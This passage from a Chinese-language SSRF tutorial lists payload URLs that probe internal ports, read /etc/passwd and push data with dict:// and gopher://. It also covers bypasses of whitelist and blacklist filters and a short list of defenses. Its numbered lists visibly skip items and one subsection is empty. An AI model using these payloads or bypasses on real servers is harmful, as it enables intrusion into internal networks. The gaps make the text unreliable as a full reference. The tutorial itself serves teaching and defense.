假如系统没有对url参数进行任何的检查,就可以构造其他的请求,例如:
http://www.xxx.com/article.php?url=http://127.0.0.1:22
http://www.xxx.com/article.php?url=file:///etc/passwd
http://www.xxx.com/article.php?url=dict://127.0.0.1:22/data:data2 (dict可以向服务端口请求data data2)
http://www.xxx.com/article.php?url=gopher://127.0.0.1:2233/_test (向2233端口发送数据test,同样可以发送POST请求)
3、漏洞的危害
2、向内部任意主机的任意端口发送payload来攻击内网服务
3、DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
5、利用file、gopher、dict协议读取本地文件、执行命令等
4、绕过方式
部分存在漏洞,或者可能产生SSRF的功能中做了白名单或者黑名单的处理,来达到阻止对内网服务和资源的攻击和访问。因此想要达到SSRF的攻击,需要对请求的参数地址做相关的绕过处理,常见的绕过方式如下:
4.1 绕过限制为某种域名
利用@,当网站限制只能访问 http://www.xxx.com类型的域名时,可以采用http基本身份认证的方式绕过,如:http://www.xxx.com@www.xxc.com
http://www.aaa.com@www.bbb.com@www.ccc.com
在PHP的parse_url中会识别 www.ccc.com,而libcurl则识别为 www.bbb.com。
4.2、绕过限制请求IP不为内网地址
(2)利用特殊域名,xip.io可以指向任意域名(原理是DNS解析),即 127.0.0.1.xip.io,可以解析为127.0.0.1
(3)采用进制转换,127.0.0.1 八进制:0177.0.0.1;十六进制:0x7f.0.0.1;十进制:2130706433
(4)利用[::],http://[::]:80/ 会解析为 http://127.0.0.1
(5)添加端口号,http://127.0.0.1:8080
(6)利用句号,127。0。0。1 会解析为 127.0.0.1
4.3 限制请求只为http协议
5、防御SSRF
2、禁用除http和https外的协议,如:file://、gopher://、dict://等。
3、限制请求的端口为http常用的端口,如 80、443、8080。
4、统一错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态。